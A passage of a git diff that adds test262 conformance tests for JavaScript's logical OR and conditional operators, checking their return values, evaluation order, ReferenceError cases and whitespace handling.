+ $ERROR('#10: (false\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029||\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T1.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T1.js
new file mode 100644
index 000000000..2c79c2a5c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T1.js
@@ -0,0 +1,64 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x || y uses GetValue
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((true || false) !== true) {
+ $ERROR('#1: (true || false) === true');
+}
+
+//CHECK#2
+if ((false || true) !== true) {
+ $ERROR('#2: (false || true) === true');
+}
+
+//CHECK#3
+var x = new Boolean(false);
+if ((x || true) !== x) {
+ $ERROR('#3: var x = Boolean(false); (x || true) === x');
+}
+
+//CHECK#4
+var y = new Boolean(true);
+if ((false || y) !== y) {
+ $ERROR('#4: var y = Boolean(true); (false || y) === y');
+}
+
+//CHECK#5
+var x = new Boolean(false);
+var y = new Boolean(true);
+if ((x || y) !== x) {
+ $ERROR('#5: var x = new Boolean(false); var y = new Boolean(true); (x || y) === x');
+}
+
+//CHECK#6
+var x = false;
+var y = new Boolean(true);
+if ((x || y) !== y) {
+ $ERROR('#6: var x = false; var y = new Boolean(true); (x || y) === y');
+}
+
+//CHECK#7
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = false;
+objecty.prop = 1.1;
+if ((objectx.prop || objecty.prop) !== objecty.prop) {
+ $ERROR('#7: var objectx = new Object(); var objecty = new Object(); objectx.prop = false; objecty.prop = 1; (objectx.prop || objecty.prop) === objecty.prop');
+}
+
+//CHECK#8
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1.1;
+objecty.prop = false;
+if ((objectx.prop || objecty.prop) !== objectx.prop) {
+ $ERROR('#8: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1.1; objecty.prop = false; (objectx.prop || objecty.prop) === objectx.prop');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T2.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T2.js
new file mode 100644
index 000000000..7c3e74364
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x || y uses GetValue
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x || true;
+ $ERROR('#1.1: x || true throw ReferenceError. Actual: ' + (x || true));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x || true throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T3.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T3.js
new file mode 100644
index 000000000..1535d1ca6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x || y uses GetValue
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A2.1_T3.js
+ * @description If ToBoolean(x) is false and GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ false || y;
+ $ERROR('#1.1: false || y throw ReferenceError. Actual: ' + (false || y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: false || y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T4.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T4.js
new file mode 100644
index 000000000..47101ac90
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.1_T4.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x || y uses GetValue
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A2.1_T4.js
+ * @description If ToBoolean(x) is true and GetBase(y) is null, return true
+ */
+
+//CHECK#1
+if ((true || x) !== true) {
+ $ERROR('#1: (true || x) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T1.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T1.js
new file mode 100644
index 000000000..fd60270da
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = true;
+if (((x = false) || x) !== false) {
+ $ERROR('#1: var x = true; ((x = false) || x) === false');
+}
+
+//CHECK#2
+var x = true;
+if ((x || (x = false)) !== true) {
+ $ERROR('#2: var x = true; (x || (x = false)) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T2.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T2.js
new file mode 100644
index 000000000..5d2ca6568
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() || y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() || y() throw "x". Actual: ' + (x() || y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() || y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T3.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T3.js
new file mode 100644
index 000000000..c818312c8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A2.4_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ * @noStrict
+ */
+
+//CHECK#1
+try {
+ x || (x = true);
+ $ERROR('#1.1: x || (x = true) throw ReferenceError. Actual: ' + (x || (x = true)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x || (x = true) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if (((y = true) || y) !== true) {
+ $ERROR('#2: ((y = true) || y) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T1.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T1.js
new file mode 100644
index 000000000..d03958565
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return y
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A3_T1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if ((false || true) !== true) {
+ $ERROR('#1: (false || true) === true');
+}
+
+//CHECK#2
+if ((false || false) !== false) {
+ $ERROR('#2: (false || false) === false');
+}
+
+//CHECK#3
+var y = new Boolean(true);
+if ((false || y) !== y) {
+ $ERROR('#3: (var y = new Boolean(true); false || y) === y');
+}
+
+//CHECK#4
+var y = new Boolean(false);
+if ((false || y) !== y) {
+ $ERROR('#4: (var y = new Boolean(false); false || y) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T2.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T2.js
new file mode 100644
index 000000000..dccc098d2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T2.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return y
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A3_T2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if ((0 || -0) !== 0) {
+ $ERROR('#1.1: (0 || -0) === 0');
+} else {
+ if ((1 / (0 || -0)) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1.2: (0 || -0) === -0');
+ }
+}
+
+//CHECK#2
+if ((-0 || 0) !== 0) {
+ $ERROR('#2.1: (-0 || 0) === 0');
+} else {
+ if ((1 / (-0 || 0)) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: (-0 || 0) === +0');
+ }
+}
+
+//CHECK#3
+var y = new Number(-1);
+if ((0 || y) !== y) {
+ $ERROR('#3: (var y = new Number(-1); 0 || y) === y');
+}
+
+//CHECK#4
+var y = new Number(0);
+if ((NaN || y) !== y) {
+ $ERROR('#4: (var y = new Number(0); NaN || y) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T3.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T3.js
new file mode 100644
index 000000000..6e500ede8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return y
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A3_T3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if (("" || "1") !== "1") {
+ $ERROR('#1: ("" || "1") === "1"');
+}
+
+//CHECK#2
+var y = new String("1");
+if (("" || y) !== y) {
+ $ERROR('#2: (var y = new String("1"); "" || y) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T4.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T4.js
new file mode 100644
index 000000000..15b5579af
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return y
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A3_T4.js
+ * @description Type(x) or Type(y) is changed between null and undefined
+ */
+
+//CHECK#1
+if ((false || undefined) !== undefined) {
+ $ERROR('#1: (false || undefined) === undefined');
+}
+
+//CHECK#2
+if ((false || null) !== null) {
+ $ERROR('#2: (false || null) === null');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T1.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T1.js
new file mode 100644
index 000000000..567fbf522
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return x
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A4_T1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (((true || true)) !== true) {
+ $ERROR('#1: (true || true) === true');
+}
+
+//CHECK#2
+if ((true || false) !== true) {
+ $ERROR('#2: (true || false) === true');
+}
+
+//CHECK#3
+var x = new Boolean(true);
+if ((x || new Boolean(true)) !== x) {
+ $ERROR('#3: (var x = new Boolean(true); (x || new Boolean(true)) === x');
+}
+
+//CHECK#4
+var x = new Boolean(true);
+if ((x || new Boolean(false)) !== x) {
+ $ERROR('#4: (var x = new Boolean(true); (x || new Boolean(false)) === x');
+}
+
+//CHECK#5
+var x = new Boolean(false);
+if ((x || new Boolean(true)) !== x) {
+ $ERROR('#5: (var x = new Boolean(false); (x || new Boolean(true)) === x');
+}
+
+//CHECK#6
+var x = new Boolean(false);
+if ((x || new Boolean(false)) !== x) {
+ $ERROR('#6: (var x = new Boolean(false); (x || new Boolean(false)) === x');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T2.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T2.js
new file mode 100644
index 000000000..ff3c67a64
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T2.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return x
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A4_T2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if ((-1 || 1) !== -1) {
+ $ERROR('#1: (-1 || 1) === -1');
+}
+
+//CHECK#2
+if ((1 || new Number(0)) !== 1) {
+ $ERROR('#2: (1 || new Number(0)) === 1');
+}
+
+//CHECK#3
+if ((-1 || NaN) !== -1) {
+ $ERROR('#3: (-1 || NaN) === -1');
+}
+
+//CHECK#4
+var x = new Number(-1);
+if ((x || new Number(0)) !== x) {
+ $ERROR('#4: (var x = new Number(-1); (x || new Number(-1)) === x');
+}
+
+//CHECK#5
+var x = new Number(NaN);
+if ((x || new Number(1)) !== x) {
+ $ERROR('#5: (var x = new Number(NaN); (x || new Number(1)) === x');
+}
+
+//CHECK#6
+var x = new Number(0);
+if ((x || new Number(NaN)) !== x) {
+ $ERROR('#6: (var x = new Number(0); (x || new Number(NaN)) === x');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T3.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T3.js
new file mode 100644
index 000000000..ad71dfed7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T3.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return x
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A4_T3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if (("-1" || "1") !== "-1") {
+ $ERROR('#-1: ("-1" || "1") === "-1"');
+}
+
+//CHECK#2
+if (("-1" || "x") !== "-1") {
+ $ERROR('#2: ("-1" || "x") === "-1"');
+}
+
+//CHECK#3
+var x = new String("-1");
+if ((x || new String(-1)) !== x) {
+ $ERROR('#3: (var x = new String("-1"); (x || new String(-1)) === x');
+}
+
+//CHECK#4
+var x = new String(NaN);
+if ((x || new String("1")) !== x) {
+ $ERROR('#4: (var x = new String(NaN); (x || new String("1")) === x');
+}
+
+//CHECK#5
+var x = new String("-x");
+if ((x || new String("x")) !== x) {
+ $ERROR('#5: (var x = new String("-x"); (x || new String("x")) === x');
+}
+
+//CHECK#6
+var x = new String(0);
+if ((x || new String(NaN)) !== x) {
+ $ERROR('#6: (var x = new String(0); (x || new String(NaN)) === x');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T4.js b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T4.js
new file mode 100644
index 000000000..d37b2ea59
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/S11.11.2_A4_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is true, return x
+ *
+ * @path ch11/11.11/11.11.2/S11.11.2_A4_T4.js
+ * @description Type(x) or Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if ((true || undefined) !== true) {
+ $ERROR('#1: (true || undefined) === true');
+}
+
+//CHECK#2
+if ((true || null) !== true) {
+ $ERROR('#2: (true || null) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/browser.js b/js/src/tests/test262/ch11/11.11/11.11.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.11/11.11.2/shell.js b/js/src/tests/test262/ch11/11.11/11.11.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/11.11.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.11/browser.js b/js/src/tests/test262/ch11/11.11/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/browser.js
diff --git a/js/src/tests/test262/ch11/11.11/shell.js b/js/src/tests/test262/ch11/11.11/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.11/shell.js
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A1.js b/js/src/tests/test262/ch11/11.12/S11.12_A1.js
new file mode 100644
index 000000000..b813aeb7f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between LogicalORExpression and "?" or between "?" and AssignmentExpression or between AssignmentExpression and ":" or between ":" and AssignmentExpression are allowed
+ *
+ * @path ch11/11.12/S11.12_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if ((eval("false\u0009?\u0009true\u0009:\u0009true")) !== true) {
+ $ERROR('#1: (false\\u0009?\\u0009true\\u0009:\\u0009true) === true');
+}
+
+//CHECK#2
+if ((eval("false\u000B?\u000Btrue\u000B:\u000Btrue")) !== true) {
+ $ERROR('#2: (false\\u000B?\\u000Btrue\\u000B:\\u000Btrue) === true');
+}
+
+//CHECK#3
+if ((eval("false\u000C?\u000Ctrue\u000C:\u000Ctrue")) !== true) {
+ $ERROR('#3: (false\\u000C?\\u000Ctrue\\u000C:\\u000Ctrue) === true');
+}
+
+//CHECK#4
+if ((eval("false\u0020?\u0020true\u0020:\u0020true")) !== true) {
+ $ERROR('#4: (false\\u0020?\\u0020true\\u0020:\\u0020true) === true');
+}
+
+//CHECK#5
+if ((eval("false\u00A0?\u00A0true\u00A0:\u00A0true")) !== true) {
+ $ERROR('#5: (false\\u00A0?\\u00A0true\\u00A0:\\u00A0true) === true');
+}
+
+//CHECK#6
+if ((eval("false\u000A?\u000Atrue\u000A:\u000Atrue")) !== true) {
+ $ERROR('#6: (false\\u000A?\\u000Atrue\\u000A:\\u000Atrue) === true');
+}
+
+//CHECK#7
+if ((eval("false\u000D?\u000Dtrue\u000D:\u000Dtrue")) !== true) {
+ $ERROR('#7: (false\\u000D?\\u000Dtrue\\u000D:\\u000Dtrue) === true');
+}
+
+//CHECK#8
+if ((eval("false\u2028?\u2028true\u2028:\u2028true")) !== true) {
+ $ERROR('#8: (false\\u2028?\\u2028true\\u2028:\\u2028true) === true');
+}
+
+//CHECK#9
+if ((eval("false\u2029?\u2029true\u2029:\u2029true")) !== true) {
+ $ERROR('#9: (false\\u2029?\\u2029true\\u2029:\\u2029true) === true');
+}
+
+//CHECK#10
+if ((eval("false\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029?\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029true\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029:\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029true")) !== true) {
+ $ERROR('#10: (false\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029?\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029true\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029:\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T1.js b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T1.js
new file mode 100644
index 000000000..2a9e568a9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T1.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ? y : z uses GetValue
+ *
+ * @path ch11/11.12/S11.12_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((true ? false : true) !== false) {
+ $ERROR('#1: (true ? false : true) === false');
+}
+
+//CHECK#2
+if ((false ? false : true) !== true) {
+ $ERROR('#2: (false ? false : true) === true');
+}
+
+//CHECK#3
+var x = new Boolean(true);
+var y = new Boolean(false);
+if ((x ? y : true) !== y) {
+ $ERROR('#3: var x = new Boolean(true); var y = new Boolean(false); (x ? y : true) === y');
+}
+
+//CHECK#4
+var z = new Boolean(true);
+if ((false ? false : z) !== z) {
+ $ERROR('#4: var z = new Boolean(true); (false ? false : z) === z');
+}
+
+//CHECK#5
+var x = new Boolean(true);
+var y = new Boolean(false);
+var z = new Boolean(true);
+if ((x ? y : z) !== y) {
+ $ERROR('#5: var x = new Boolean(true); var y = new Boolean(false); var z = new Boolean(true); (x ? y : z) === y');
+}
+
+//CHECK#6
+var x = false;
+var y = new Boolean(false);
+var z = new Boolean(true);
+if ((x ? y : z) !== z) {
+ $ERROR('#6: var x = false; var y = new Boolean(false); var z = new Boolean(true); (x ? y : z) === z');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T2.js b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T2.js
new file mode 100644
index 000000000..465976c49
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ? y : z uses GetValue
+ *
+ * @path ch11/11.12/S11.12_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x ? true : false;
+ $ERROR('#1.1: x ? true : false throw ReferenceError. Actual: ' + (x ? true : false));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x ? true : false throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T3.js b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T3.js
new file mode 100644
index 000000000..1e59cd63a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ? y : z uses GetValue
+ *
+ * @path ch11/11.12/S11.12_A2.1_T3.js
+ * @description If ToBoolean(x) is true and GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ true ? y : false;
+ $ERROR('#1.1: true ? y : false throw ReferenceError. Actual: ' + (true ? y : false));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: true ? y : false throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T4.js b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T4.js
new file mode 100644
index 000000000..0d3c01b29
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T4.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ? y : z uses GetValue
+ *
+ * @path ch11/11.12/S11.12_A2.1_T4.js
+ * @description If ToBoolean(x) is false and GetBase(z) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ false ? true : z;
+ $ERROR('#1.1: false ? true : z throw ReferenceError. Actual: ' + (false ? true : z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: false ? true : z throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T5.js b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T5.js
new file mode 100644
index 000000000..05df26fa5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T5.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ? y : z uses GetValue
+ *
+ * @path ch11/11.12/S11.12_A2.1_T5.js
+ * @description If ToBoolean(x) is true and GetBase(z) is null, return y
+ */
+
+//CHECK#1
+var y = new Object();
+if ((true ? y : z) !== y) {
+ $ERROR('#1: var y = new Object(); (true ? y : z) === y');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T6.js b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T6.js
new file mode 100644
index 000000000..f25c22a52
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A2.1_T6.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ? y : z uses GetValue
+ *
+ * @path ch11/11.12/S11.12_A2.1_T6.js
+ * @description If ToBoolean(x) is false and GetBase(y) is null, return z
+ */
+
+//CHECK#1
+var z = new Object();
+if ((false ? y : z) !== z) {
+ $ERROR('#1: var z = new Object(); (false ? y : z) === z');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A3_T1.js b/js/src/tests/test262/ch11/11.12/S11.12_A3_T1.js
new file mode 100644
index 000000000..6614bb7f2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A3_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return z
+ *
+ * @path ch11/11.12/S11.12_A3_T1.js
+ * @description Type(y) and Type(z) are boolean primitives
+ */
+
+//CHECK#1
+if ((false ? false : true) !== true) {
+ $ERROR('#1: (false ? false : true) === true');
+}
+
+//CHECK#2
+var z = new Boolean(true);
+if ((false ? true : z) !== z) {
+ $ERROR('#2: (var y = new Boolean(true); (false ? true : z) === z');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A3_T2.js b/js/src/tests/test262/ch11/11.12/S11.12_A3_T2.js
new file mode 100644
index 000000000..311cce7d1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A3_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return z
+ *
+ * @path ch11/11.12/S11.12_A3_T2.js
+ * @description Type(y) and Type(z) are number primitives
+ */
+
+//CHECK#1
+if ((0 ? 0 : 1) !== 1) {
+ $ERROR('#1: (0 ? 0 : 1) === 1');
+}
+
+//CHECK#2
+var z = new Number(1);
+if ((0 ? 1 : z) !== z) {
+ $ERROR('#2: (var y = new Number(1); (0 ? 1 : z) === z');
+}
+
diff --git a/js/src/tests/test262/ch11/11.12/S11.12_A3_T3.js b/js/src/tests/test262/ch11/11.12/S11.12_A3_T3.js
new file mode 100644
index 000000000..644a58fd0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.12/S11.12_A3_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ToBoolean(x) is false, return z
+ *
+ * @path ch11/11.12/S11.12_A3_T3.js
